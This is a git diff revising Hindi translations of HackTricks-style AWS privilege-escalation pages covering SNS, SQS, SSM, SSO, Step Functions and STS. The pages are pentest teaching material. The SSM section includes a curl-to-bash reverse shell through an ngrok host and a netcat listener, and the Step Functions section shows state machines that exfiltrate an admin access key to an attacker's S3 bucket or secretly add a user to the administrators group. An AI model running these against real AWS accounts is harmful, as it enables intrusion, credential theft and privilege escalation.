```bash aws sns publish --topic-arn --message ``` -**संभावित प्रभाव**: भेद्यता का शोषण, डेटा भ्रष्टाचार, अनपेक्षित क्रियाएँ, या संसाधन समाप्ति। +**संभावित प्रभाव**: कमजोरियों का शोषण, डेटा भ्रष्टाचार, अनपेक्षित क्रियाएँ, या संसाधन समाप्ति। ### `sns:Subscribe` @@ -28,7 +28,7 @@ aws sns subscribe --topic-arn --protocol --endpoint ### `sns:AddPermission` -एक हमलावर अनधिकृत उपयोगकर्ताओं या सेवाओं को एक SNS विषय तक पहुंच प्रदान कर सकता है, संभावित रूप से आगे की अनुमतियां प्राप्त कर सकता है। +एक हमलावर अनधिकृत उपयोगकर्ताओं या सेवाओं को SNS विषय तक पहुंच प्रदान कर सकता है, संभावित रूप से आगे की अनुमतियां प्राप्त कर सकता है। ```css aws sns add-permission --topic-arn --label --aws-account-id --action-name ``` diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md index d2330e9d0..2e29b4827 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md @@ -12,20 +12,20 @@ ### `sqs:AddPermission` -एक हमलावर इस अनुमति का उपयोग अनधिकृत उपयोगकर्ताओं या सेवाओं को SQS कतार तक पहुँच प्रदान करने के लिए नए नीतियों को बनाने या मौजूदा नीतियों को संशोधित करके कर सकता है। इससे कतार में संदेशों तक अनधिकृत पहुँच या अनधिकृत संस्थाओं द्वारा कतार में हेरफेर हो सकता है। +एक हमलावर इस अनुमति का उपयोग अनधिकृत उपयोगकर्ताओं या सेवाओं को SQS कतार तक पहुँच प्रदान करने के लिए नए नीतियों को बनाने या मौजूदा नीतियों को संशोधित करने के लिए कर सकता है। इससे कतार में संदेशों तक अनधिकृत पहुँच या अनधिकृत संस्थाओं द्वारा कतार में हेरफेर हो सकता है। ```bash cssCopy codeaws sqs add-permission --queue-url --actions --aws-account-ids --label ``` -**संभावित प्रभाव**: कतार तक अनधिकृत पहुंच, संदेशों का खुलासा, या अनधिकृत उपयोगकर्ताओं या सेवाओं द्वारा कतार में हेरफेर। +**संभावित प्रभाव**: कतार तक अनधिकृत पहुंच, संदेश का खुलासा, या अनधिकृत उपयोगकर्ताओं या सेवाओं द्वारा कतार में हेरफेर। ### `sqs:SendMessage` , `sqs:SendMessageBatch` -एक हमलावर SQS कतार में दुर्भावनापूर्ण या अवांछित संदेश भेज सकता है, जिससे डेटा भ्रष्टाचार, अनपेक्षित क्रियाओं को ट्रिगर करने, या संसाधनों का समाप्त होना हो सकता है। +एक हमलावर SQS कतार में दुर्भावनापूर्ण या अवांछित संदेश भेज सकता है, जिससे डेटा भ्रष्टाचार, अनपेक्षित क्रियाओं को ट्रिगर करने, या संसाधनों का समाप्त होना संभव है। ```bash aws sqs send-message --queue-url --message-body aws sqs send-message-batch --queue-url --entries ``` -**संभावित प्रभाव**: कमजोरियों का शोषण, डेटा भ्रष्टाचार, अनपेक्षित क्रियाएँ, या संसाधन समाप्ति। +**संभावित प्रभाव**: भेद्यता का शोषण, डेटा भ्रष्टाचार, अनपेक्षित क्रियाएँ, या संसाधन समाप्ति। ### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility` @@ -35,6 +35,6 @@ aws sqs receive-message --queue-url aws sqs delete-message --queue-url --receipt-handle aws sqs change-message-visibility --queue-url --receipt-handle --visibility-timeout ``` -**संभावित प्रभाव**: संवेदनशील जानकारी चुराना, संदेश हानि, डेटा भ्रष्टाचार, और प्रभावित संदेशों पर निर्भर करने वाले अनुप्रयोगों के लिए सेवा में बाधा। +**संभावित प्रभाव**: संवेदनशील जानकारी चुराना, संदेश हानि, डेटा भ्रष्टाचार, और प्रभावित संदेशों पर निर्भर करने वाले अनुप्रयोगों के लिए सेवा में बाधा। {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md index 9ffe461a3..5722190a5 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md @@ -12,7 +12,7 @@ SSM के बारे में अधिक जानकारी के ल ### `ssm:SendCommand` -एक हमलावर जिसके पास अनुमति **`ssm:SendCommand`** है, वह **Amazon SSM एजेंट चलाने वाले इंस्टेंस में कमांड निष्पादित कर सकता है** और **इसके अंदर चल रहे IAM भूमिका को समझौता कर सकता है**। +एक हमलावर जिसके पास अनुमति **`ssm:SendCommand`** है, वह **Amazon SSM Agent** चला रहे उदाहरणों में **कमांड निष्पादित कर सकता है** और **इसके अंदर चल रहे IAM Role को समझौता कर सकता है**। ```bash # Check for configured instances aws ssm describe-instance-information @@ -23,7 +23,7 @@ aws ssm send-command --instance-ids "$INSTANCE_ID" \ --document-name "AWS-RunShellScript" --output text \ --parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash" ``` -यदि आप इस तकनीक का उपयोग पहले से ही समझौता किए गए EC2 उदाहरण के भीतर विशेषाधिकार बढ़ाने के लिए कर रहे हैं, तो आप बस निम्नलिखित के साथ स्थानीय रूप से रिव शेल कैप्चर कर सकते हैं: +यदि आप इस तकनीक का उपयोग पहले से समझौता किए गए EC2 उदाहरण के भीतर विशेषाधिकार बढ़ाने के लिए कर रहे हैं, तो आप बस स्थानीय रूप से रिव शेल को कैप्चर कर सकते हैं: ```bash # If you are in the machine you can capture the reverseshel inside of it nc -lvnp 4444 #Inside the EC2 instance @@ -47,11 +47,11 @@ aws ssm start-session --target "$INSTANCE_ID" > [!CAUTION] > सत्र शुरू करने के लिए आपको **SessionManagerPlugin** स्थापित करना होगा: [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html) -**संभावित प्रभाव:** चल रहे उदाहरणों के साथ जुड़े EC2 IAM भूमिकाओं पर सीधे privesc जिनमें SSM एजेंट चल रहे हैं। +**संभावित प्रभाव:** चल रहे उदाहरणों के साथ जुड़े EC2 IAM भूमिकाओं पर सीधे प्रिवेस्क। -#### ECS पर Privesc +#### ECS पर प्रिवेस्क -जब **ECS कार्य** **`ExecuteCommand` सक्षम** होते हैं, तो पर्याप्त अनुमतियों वाले उपयोगकर्ता `ecs execute-command` का उपयोग करके कंटेनर के अंदर **एक कमांड निष्पादित** कर सकते हैं।\ +जब **ECS कार्य** **`ExecuteCommand` सक्षम** होते हैं, तो पर्याप्त अनुमतियों वाले उपयोगकर्ता `ecs execute-command` का उपयोग करके **कंटेनर के अंदर एक कमांड निष्पादित** कर सकते हैं।\ [**दस्तावेज़**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/) के अनुसार, यह उस उपकरण के बीच एक सुरक्षित चैनल बनाकर किया जाता है जिसका उपयोग आप “_exec_“ कमांड शुरू करने के लिए करते हैं और लक्षित कंटेनर के साथ SSM सत्र प्रबंधक। (इस कार्य के लिए SSM सत्र प्रबंधक प्लगइन आवश्यक है)\ इसलिए, `ssm:StartSession` वाले उपयोगकर्ता उस विकल्प को सक्षम करके **ECS कार्यों के अंदर एक शेल प्राप्त** कर सकेंगे, बस यह चलाकर: ```bash @@ -59,7 +59,7 @@ aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID" ``` ![](<../../../images/image (185).png>) -**संभावित प्रभाव:** `ExecuteCommand` सक्षम चल रहे कार्यों से जुड़े `ECS` IAM भूमिकाओं पर सीधे प्रिवेस्क। +**संभावित प्रभाव:** `ExecuteCommand` सक्षम चल रहे कार्यों से जुड़े `ECS` IAM भूमिकाओं के लिए सीधे प्रिवेस्क। ### `ssm:ResumeSession` @@ -72,7 +72,7 @@ aws ssm describe-sessions aws ssm resume-session \ --session-id Mary-Major-07a16060613c408b5 ``` -**संभावित प्रभाव:** चल रहे उदाहरणों के साथ जुड़े EC2 IAM भूमिकाओं पर सीधे प्रिवेस्क को प्रभावित करना जिनमें SSM एजेंट चल रहे हैं और डिस्कनेक्टेड सत्र हैं। +**संभावित प्रभाव:** चल रहे उदाहरणों के साथ जुड़े EC2 IAM भूमिकाओं पर सीधे प्रिवेस्क और डिस्कनेक्टेड सत्रों के साथ SSM एजेंट। ### `ssm:DescribeParameters`, (`ssm:GetParameter` | `ssm:GetParameters`) @@ -87,7 +87,7 @@ aws ssm get-parameter --name id_rsa --with-decryption ### `ssm:ListCommands` -इस अनुमति के साथ एक हमलावर सभी **कमांड** सूचीबद्ध कर सकता है और उम्मीद है कि उन पर **संवेदनशील जानकारी** पाए। +इस अनुमति के साथ एक हमलावर सभी **कमांड** की सूची बना सकता है जो भेजी गई हैं और उम्मीद है कि उन पर **संवेदनशील जानकारी** मिलेगी। ``` aws ssm list-commands ``` @@ -95,7 +95,7 @@ aws ssm list-commands ### `ssm:GetCommandInvocation`, (`ssm:ListCommandInvocations` | `ssm:ListCommands`) -इन अनुमतियों के साथ एक हमलावर सभी **कमांड** की सूची बना सकता है और **आउटपुट पढ़ सकता है** जिससे उम्मीद है कि वह उस पर **संवेदनशील जानकारी** पाएगा। +इन अनुमतियों के साथ एक हमलावर सभी **कमांड** की सूची बना सकता है और **आउटपुट** को पढ़ सकता है, उम्मीद है कि इसमें **संवेदनशील जानकारी** मिलेगी। ```bash # You can use any of both options to get the command-id and instance id aws ssm list-commands @@ -107,7 +107,7 @@ aws ssm get-command-invocation --command-id --instance-id ### कोडबिल्ड -आप SSM का उपयोग करके एक कोडबिल्ड प्रोजेक्ट में प्रवेश कर सकते हैं जो बनाया जा रहा है: +आप SSM का उपयोग करके एक कोडबिल्ड प्रोजेक्ट में भी प्रवेश कर सकते हैं जो बनाया जा रहा है: {{#ref}} aws-codebuild-privesc.md diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md index 7d6fbae4e..bffca6f12 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md @@ -11,13 +11,13 @@ AWS Identity Center / AWS SSO के बारे में अधिक जा {{#endref}} > [!WARNING] -> ध्यान दें कि **डिफ़ॉल्ट** रूप से, केवल **प्रबंधन खाता** के साथ **अनुमतियाँ** वाले **उपयोगकर्ता** IAM पहचान केंद्र तक पहुँच और **नियंत्रण** कर सकेंगे।\ +> ध्यान दें कि **डिफ़ॉल्ट** रूप से, केवल **प्रबंधन खाता** के साथ **अनुमतियाँ** वाले **उपयोगकर्ता** IAM Identity Center तक पहुँच और **नियंत्रण** कर सकेंगे।\ > अन्य खातों के उपयोगकर्ता केवल तभी अनुमति दे सकते हैं यदि खाता **प्रतिनिधि प्रशासक** है।\ > [अधिक जानकारी के लिए दस्तावेज़ देखें।](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html) ### ~~पासवर्ड रीसेट करें~~ -इस तरह के मामलों में विशेषाधिकार बढ़ाने का एक आसान तरीका यह होगा कि एक अनुमति हो जो उपयोगकर्ताओं के पासवर्ड रीसेट करने की अनुमति देती है। दुर्भाग्यवश, उपयोगकर्ता के पासवर्ड को रीसेट करने के लिए केवल उपयोगकर्ता को एक ईमेल भेजना संभव है, इसलिए आपको उपयोगकर्ता के ईमेल तक पहुँच की आवश्यकता होगी। +इस तरह के मामलों में विशेषाधिकार बढ़ाने का एक आसान तरीका यह होगा कि एक अनुमति हो जो उपयोगकर्ताओं के पासवर्ड रीसेट करने की अनुमति देती है। दुर्भाग्यवश, केवल उपयोगकर्ता को उसके पासवर्ड को रीसेट करने के लिए एक ईमेल भेजना संभव है, इसलिए आपको उपयोगकर्ता के ईमेल तक पहुँच की आवश्यकता होगी। ### `identitystore:CreateGroupMembership` @@ -27,7 +27,7 @@ aws identitystore create-group-membership --identity-store-id --group- ``` ### `sso:PutInlinePolicyToPermissionSet`, `sso:ProvisionPermissionSet` -इस अनुमति के साथ एक हमलावर एक उपयोगकर्ता को दिए गए अनुमति सेट को अतिरिक्त अनुमतियाँ दे सकता है जो उसके नियंत्रण में है। +इस अनुमति के साथ एक हमलावर एक Permission Set को अतिरिक्त अनुमतियाँ दे सकता है जो उसके नियंत्रण में एक उपयोगकर्ता को दी गई है। ```bash # Set an inline policy with admin privileges aws sso-admin put-inline-policy-to-permission-set --instance-arn --permission-set-arn --inline-policy file:///tmp/policy.yaml @@ -50,7 +50,7 @@ aws sso-admin provision-permission-set --instance-arn --permissio ``` ### `sso:AttachManagedPolicyToPermissionSet`, `sso:ProvisionPermissionSet` -इस अनुमति के साथ एक हमलावर एक उपयोगकर्ता को दिए गए अनुमति सेट को अतिरिक्त अनुमतियाँ दे सकता है जो उसके नियंत्रण में है। +इस अनुमति के साथ एक हमलावर एक अनुमति सेट को अतिरिक्त अनुमतियाँ दे सकता है जो उसके नियंत्रण में एक उपयोगकर्ता को दी गई है। ```bash # Set AdministratorAccess policy to the permission set aws sso-admin attach-managed-policy-to-permission-set --instance-arn --permission-set-arn --managed-policy-arn "arn:aws:iam::aws:policy/AdministratorAccess" @@ -79,11 +79,11 @@ aws sso-admin create-account-assignment --instance-arn --target-i ``` ### `sso:GetRoleCredentials` -उपयोगकर्ता को सौंपे गए एक दिए गए भूमिका नाम के लिए STS अल्पकालिक क्रेडेंशियल्स लौटाता है। +उपयोगकर्ता को सौंपे गए एक निर्दिष्ट भूमिका नाम के लिए STS अल्पकालिक क्रेडेंशियल्स लौटाता है। ``` aws sso get-role-credentials --role-name --account-id --access-token ``` -हालांकि, आपको एक एक्सेस टोकन की आवश्यकता है जिसे प्राप्त करने का मुझे पता नहीं है (TODO). +हालांकि, आपको एक एक्सेस टोकन की आवश्यकता है जिसे प्राप्त करने का मुझे यकीन नहीं है (TODO). ### `sso:DetachManagedPolicyFromPermissionSet` @@ -93,7 +93,7 @@ aws sso-admin detach-managed-policy-from-permission-set --instance-arn --permission-set-arn --customer-managed-policy-reference ``` @@ -105,7 +105,7 @@ aws sso-admin delete-inline-policy-from-permission-set --instance-arn --permission-set-arn ``` diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md index eb59488d6..5be0bc131 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md @@ -12,9 +12,9 @@ ### Task Resources -इन विशेषाधिकार वृद्धि तकनीकों को वांछित विशेषाधिकार वृद्धि क्रियाओं को करने के लिए कुछ AWS स्टेप फ़ंक्शन संसाधनों का उपयोग करने की आवश्यकता होगी। +ये विशेषाधिकार वृद्धि तकनीकें आवश्यक होंगी कि कुछ AWS स्टेप फ़ंक्शन संसाधनों का उपयोग किया जाए ताकि इच्छित विशेषाधिकार वृद्धि क्रियाएँ की जा सकें। -सभी संभावित क्रियाओं की जांच करने के लिए, आप अपने स्वयं के AWS खाते में जा सकते हैं, उस क्रिया का चयन कर सकते हैं जिसे आप उपयोग करना चाहते हैं और देख सकते हैं कि यह कौन से पैरामीटर का उपयोग कर रहा है, जैसे कि: +सभी संभावित क्रियाओं की जांच करने के लिए, आप अपने AWS खाते में जा सकते हैं, उस क्रिया का चयन कर सकते हैं जिसे आप उपयोग करना चाहते हैं और देख सकते हैं कि यह कौन से पैरामीटर का उपयोग कर रहा है, जैसे कि:
@@ -25,11 +25,11 @@ ### `states:TestState` & `iam:PassRole` -एक हमलावर जिसके पास **`states:TestState`** & **`iam:PassRole`** अनुमतियाँ हैं, किसी भी स्थिति का परीक्षण कर सकता है और इसे किसी भी IAM भूमिका को पास कर सकता है बिना किसी मौजूदा स्थिति मशीन को बनाए या अपडेट किए, जिससे अन्य AWS सेवाओं तक अनधिकृत पहुंच संभव हो जाती है। संयुक्त रूप से, ये अनुमतियाँ व्यापक अनधिकृत क्रियाओं की ओर ले जा सकती हैं, जैसे कि कार्यप्रवाहों में हेरफेर करना, डेटा को बदलना, डेटा लीक, संसाधन हेरफेर, और विशेषाधिकार वृद्धि। +एक हमलावर जिसके पास **`states:TestState`** & **`iam:PassRole`** अनुमतियाँ हैं, किसी भी स्थिति का परीक्षण कर सकता है और इसे किसी भी IAM भूमिका को पास कर सकता है बिना किसी मौजूदा स्थिति मशीन को बनाए या अपडेट किए, जिससे अन्य AWS सेवाओं तक अनधिकृत पहुँच संभव हो जाती है। संयुक्त रूप से, ये अनुमतियाँ व्यापक अनधिकृत क्रियाओं की ओर ले जा सकती हैं, जैसे कार्यप्रवाहों में हेरफेर करना, डेटा को बदलना, डेटा लीक, संसाधन हेरफेर, और विशेषाधिकार वृद्धि। ```bash aws states test-state --definition --role-arn [--input ] [--inspection-level ] [--reveal-secrets | --no-reveal-secrets] ``` -निम्नलिखित उदाहरण दिखाते हैं कि कैसे एक राज्य का परीक्षण किया जाए जो **`admin`** उपयोगकर्ता के लिए एक एक्सेस कुंजी बनाता है, इन अनुमतियों और AWS वातावरण की एक उदार भूमिका का लाभ उठाते हुए। इस उदार भूमिका के साथ कोई उच्च-विशिष्ट नीति जुड़ी होनी चाहिए (उदाहरण के लिए **`arn:aws:iam::aws:policy/AdministratorAccess`**) जो राज्य को **`iam:CreateAccessKey`** क्रिया करने की अनुमति देती है: +निम्नलिखित उदाहरण दिखाते हैं कि कैसे एक राज्य का परीक्षण किया जाए जो **`admin`** उपयोगकर्ता के लिए एक एक्सेस की बनाता है, इन अनुमतियों और AWS वातावरण की एक उदार भूमिका का लाभ उठाते हुए। इस उदार भूमिका के साथ किसी उच्च-privileged नीति का जुड़ाव होना चाहिए (उदाहरण के लिए **`arn:aws:iam::aws:policy/AdministratorAccess`**) जो राज्य को **`iam:CreateAccessKey`** क्रिया करने की अनुमति देती है: - **stateDefinition.json**: ```json @@ -75,7 +75,7 @@ aws states start-execution --state-machine-arn [--name ] [--input # Start a Synchronous Express state machine execution aws states start-sync-execution --state-machine-arn [--name ] [--input ] [--trace-header ] ``` -The following examples show how to create an state machine that creates an access key for the **`admin`** user and exfiltrates this access key to an attacker-controlled S3 bucket, leveraging these permissions and a permissive role of the AWS environment. This permissive role should have any high-privileged policy associated with it (for example **`arn:aws:iam::aws:policy/AdministratorAccess`**) that allows the state machine to perform the **`iam:CreateAccessKey`** & **`s3:putObject`** actions. +निम्नलिखित उदाहरण दिखाते हैं कि कैसे एक राज्य मशीन बनाई जाए जो **`admin`** उपयोगकर्ता के लिए एक एक्सेस कुंजी बनाती है और इस एक्सेस कुंजी को एक हमलावर-नियंत्रित S3 बकेट में निकालती है, इन अनुमतियों और AWS वातावरण की एक उदार भूमिका का लाभ उठाते हुए। इस उदार भूमिका के साथ किसी उच्च-विशिष्ट नीति का संबंध होना चाहिए (उदाहरण के लिए **`arn:aws:iam::aws:policy/AdministratorAccess`**) जो राज्य मशीन को **`iam:CreateAccessKey`** और **`s3:putObject`** क्रियाएँ करने की अनुमति देती है। - **stateMachineDefinition.json**: ```json @@ -115,7 +115,7 @@ The following examples show how to create an state machine that creates an acces } } ``` -- **Command** executed to **state machine** बनाने के लिए: +- **कमांड** जो **राज्य मशीन** बनाने के लिए **चलाया गया**: ```bash aws stepfunctions create-state-machine --name MaliciousStateMachine --definition file://stateMachineDefinition.json --role-arn arn:aws:iam::123456789012:role/PermissiveRole { @@ -123,8 +123,7 @@ aws stepfunctions create-state-machine --name MaliciousStateMachine --definition "creationDate": "2024-07-09T20:29:35.381000+02:00" } ``` -- **Command** executed to **start an execution** of the previously created state machine: - **कमांड** जो पहले बनाए गए राज्य मशीन का **निष्पादन शुरू करने** के लिए निष्पादित किया गया: +- **कमांड** जो **पहले से बनाए गए राज्य मशीन** का **निष्पादन शुरू करने** के लिए निष्पादित की गई: ```json aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine { @@ -133,26 +132,26 @@ aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:1 } ``` > [!WARNING] -> हमलावर-नियंत्रित S3 बकेट को पीड़ित खाते से s3:PutObject क्रिया स्वीकार करने की अनुमति होनी चाहिए। +> हमलावर-नियंत्रित S3 बकेट को पीड़ित खाते से s3:PutObject क्रिया स्वीकार करने के लिए अनुमतियाँ होनी चाहिए। -**संभावित प्रभाव**: कार्यप्रवाहों का अनधिकृत निष्पादन और हेरफेर और संवेदनशील संसाधनों तक पहुंच, जो संभावित रूप से महत्वपूर्ण सुरक्षा उल्लंघनों की ओर ले जा सकती है। +**संभावित प्रभाव**: कार्यप्रवाहों का अनधिकृत निष्पादन और हेरफेर और संवेदनशील संसाधनों तक पहुँच, संभावित रूप से महत्वपूर्ण सुरक्षा उल्लंघनों की ओर ले जा सकता है। ### `states:UpdateStateMachine` & (हमेशा आवश्यक नहीं) `iam:PassRole` एक हमलावर जिसके पास **`states:UpdateStateMachine`** अनुमति है, वह एक राज्य मशीन की परिभाषा को संशोधित कर सकेगा, अतिरिक्त छिपे हुए राज्यों को जोड़ने में सक्षम होगा जो विशेषाधिकार वृद्धि में समाप्त हो सकते हैं। इस तरह, जब एक वैध उपयोगकर्ता राज्य मशीन का निष्पादन शुरू करता है, तो यह नया दुर्भावनापूर्ण छिपा हुआ राज्य निष्पादित होगा और विशेषाधिकार वृद्धि सफल होगी। -इस पर निर्भर करते हुए कि राज्य मशीन से संबंधित IAM भूमिका कितनी अनुमति देने वाली है, एक हमलावर को 2 स्थितियों का सामना करना पड़ेगा: +इस पर निर्भर करते हुए कि राज्य मशीन से संबंधित IAM भूमिका कितनी उदार है, एक हमलावर को 2 स्थितियों का सामना करना पड़ेगा: -1. **अनुमति देने वाली IAM भूमिका**: यदि राज्य मशीन से संबंधित IAM भूमिका पहले से ही अनुमति देने वाली है (उदाहरण के लिए, इसमें **`arn:aws:iam::aws:policy/AdministratorAccess`** नीति संलग्न है), तो विशेषाधिकार बढ़ाने के लिए **`iam:PassRole`** अनुमति की आवश्यकता नहीं होगी क्योंकि IAM भूमिका को अपडेट करना आवश्यक नहीं होगा, राज्य मशीन की परिभाषा पर्याप्त है। -2. **अनुमति न देने वाली IAM भूमिका**: पिछले मामले के विपरीत, यहां एक हमलावर को **`iam:PassRole`** अनुमति की भी आवश्यकता होगी क्योंकि राज्य मशीन से संबंधित एक अनुमति देने वाली IAM भूमिका को जोड़ना आवश्यक होगा इसके अलावा राज्य मशीन की परिभाषा को संशोधित करना। +1. **उदार IAM भूमिका**: यदि राज्य मशीन से संबंधित IAM भूमिका पहले से ही उदार है (उदाहरण के लिए, इसमें **`arn:aws:iam::aws:policy/AdministratorAccess`** नीति संलग्न है), तो विशेषाधिकार बढ़ाने के लिए **`iam:PassRole`** अनुमति की आवश्यकता नहीं होगी क्योंकि IAM भूमिका को अपडेट करना आवश्यक नहीं होगा, राज्य मशीन की परिभाषा पर्याप्त है। +2. **गैर-उदार IAM भूमिका**: पिछले मामले के विपरीत, यहाँ एक हमलावर को **`iam:PassRole`** अनुमति की भी आवश्यकता होगी क्योंकि राज्य मशीन की परिभाषा को संशोधित करने के अलावा एक उदार IAM भूमिका को राज्य मशीन से जोड़ना आवश्यक होगा। ```bash aws states update-state-machine --state-machine-arn [--definition ] [--role-arn ] [--logging-configuration ] \ [--tracing-configuration ] [--publish | --no-publish] [--version-description ] ``` -The following examples show how to update a legit state machine that just invokes a HelloWorld Lambda function, in order to add an extra state that adds the user **`unprivilegedUser`** to the **`administrator`** IAM Group. This way, when a legitimate user starts an execution of the updated state machine, this new malicious stealth state will be executed and the privilege escalation will be successful. +निम्नलिखित उदाहरण दिखाते हैं कि कैसे एक वैध राज्य मशीन को अपडेट किया जाए जो केवल एक HelloWorld Lambda फ़ंक्शन को कॉल करती है, ताकि एक अतिरिक्त राज्य जोड़ा जा सके जो उपयोगकर्ता **`unprivilegedUser`** को **`administrator`** IAM समूह में जोड़ता है। इस तरह, जब एक वैध उपयोगकर्ता अपडेट की गई राज्य मशीन का निष्पादन शुरू करता है, तो यह नया दुर्भावनापूर्ण स्टेल्थ राज्य निष्पादित होगा और विशेषाधिकार वृद्धि सफल होगी। > [!WARNING] -> यदि राज्य मशीन के साथ कोई अनुमत IAM भूमिका जुड़ी नहीं है, तो एक अनुमत IAM भूमिका को अपडेट करने के लिए **`iam:PassRole`** अनुमति भी आवश्यक होगी (उदाहरण के लिए, एक जिसमें **`arn:aws:iam::aws:policy/AdministratorAccess`** नीति संलग्न है)। +> यदि राज्य मशीन के साथ कोई उदार IAM भूमिका संबद्ध नहीं है, तो एक उदार IAM भूमिका को संबद्ध करने के लिए IAM भूमिका को अपडेट करने के लिए **`iam:PassRole`** अनुमति भी आवश्यक होगी (उदाहरण के लिए, एक जिसमें **`arn:aws:iam::aws:policy/AdministratorAccess`** नीति संलग्न है)। {{#tabs }} {{#tab name="Legit State Machine" }} @@ -182,7 +181,7 @@ The following examples show how to update a legit state machine that just invoke ``` {{#endtab }} -{{#tab name="दुष्ट अपडेटेड स्टेट मशीन" }} +{{#tab name="Malicious Updated State Machine" }} ```json { "Comment": "Hello world from Lambda state machine", @@ -219,7 +218,7 @@ The following examples show how to update a legit state machine that just invoke {{#endtab }} {{#endtabs }} -- **कमांड** जो **वैध राज्य मशीन** को **अपडेट** करने के लिए **निष्पादित** किया गया: +- **कमांड** जो **वैध स्थिति मशीन** को **अपडेट** करने के लिए **निष्पादित** की गई: ```bash aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:HelloWorldLambda --definition file://StateMachineUpdate.json { @@ -227,6 +226,6 @@ aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-eas "revisionId": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f" } ``` -**संभावित प्रभाव**: कार्यप्रवाहों का अनधिकृत निष्पादन और हेरफेर और संवेदनशील संसाधनों तक पहुंच, संभावित रूप से महत्वपूर्ण सुरक्षा उल्लंघनों की ओर ले जा सकती है। +**संभावित प्रभाव**: कार्यप्रवाहों का अनधिकृत निष्पादन और हेरफेर और संवेदनशील संसाधनों तक पहुंच, जो संभावित रूप से महत्वपूर्ण सुरक्षा उल्लंघनों की ओर ले जा सकती है। {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md index 7d1134f5b..ffa0d9206 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md @@ -6,9 +6,9 @@ ### `sts:AssumeRole` -हर भूमिका एक **भूमिका ट्रस्ट नीति** के साथ बनाई जाती है, यह नीति इंगित करती है **कौन बनाई गई भूमिका को ग्रहण कर सकता है**। यदि **एक ही खाते** से एक भूमिका कहती है कि एक खाता इसे ग्रहण कर सकता है, तो इसका मतलब है कि खाता भूमिका तक पहुँच प्राप्त कर सकेगा (और संभावित रूप से **privesc**). +हर भूमिका एक **भूमिका ट्रस्ट नीति** के साथ बनाई जाती है, यह नीति **यह दर्शाती है कि कौन बनाई गई भूमिका को ग्रहण कर सकता है**। यदि **एक ही खाते** से एक भूमिका कहती है कि एक खाता इसे ग्रहण कर सकता है, तो इसका मतलब है कि खाता भूमिका तक पहुँच प्राप्त कर सकेगा (और संभावित रूप से **privesc** कर सकेगा)। -उदाहरण के लिए, निम्नलिखित भूमिका ट्रस्ट नीति इंगित करती है कि कोई भी इसे ग्रहण कर सकता है, इसलिए **कोई भी उपयोगकर्ता उस भूमिका से संबंधित अनुमतियों के लिए privesc** कर सकेगा। +उदाहरण के लिए, निम्नलिखित भूमिका ट्रस्ट नीति यह दर्शाती है कि कोई भी इसे ग्रहण कर सकता है, इसलिए **कोई भी उपयोगकर्ता उस भूमिका से संबंधित अनुमतियों के लिए privesc कर सकेगा**। ```json { "Version": "2012-10-17", @@ -30,8 +30,8 @@ aws sts assume-role --role-arn $ROLE_ARN --role-session-name sessionname **संभावित प्रभाव:** भूमिका के लिए प्रिवेस्क। > [!CAUTION] -> ध्यान दें कि इस मामले में अनुमति `sts:AssumeRole` को **दुरुपयोग के लिए भूमिका में निर्दिष्ट किया जाना चाहिए** और हमलावर की नीति में नहीं।\ -> एक अपवाद के साथ, **किसी अन्य खाते से भूमिका को मान लेना** के लिए हमलावर खाते को **भी** भूमिका पर **`sts:AssumeRole`** होना चाहिए। +> ध्यान दें कि इस मामले में अनुमति `sts:AssumeRole` को **दुरुपयोग करने के लिए भूमिका में** **संकेतित** किया जाना चाहिए और हमलावर की नीति में नहीं।\ +> एक अपवाद के साथ, **किसी अन्य खाते से भूमिका को ग्रहण करने के लिए** हमलावर खाते को **भी** भूमिका पर **`sts:AssumeRole`** होना चाहिए। ### **`sts:GetFederationToken`** @@ -39,7 +39,7 @@ aws sts assume-role --role-arn $ROLE_ARN --role-session-name sessionname ```bash aws sts get-federation-token --name ``` -यह इस तरह से इस अनुमति को सुरक्षित रूप से दिया जा सकता है बिना अन्य उपयोगकर्ताओं की नकल करने के लिए पहुँच दिए: +यह अनुमति इस तरह से सुरक्षित रूप से दी जा सकती है कि अन्य 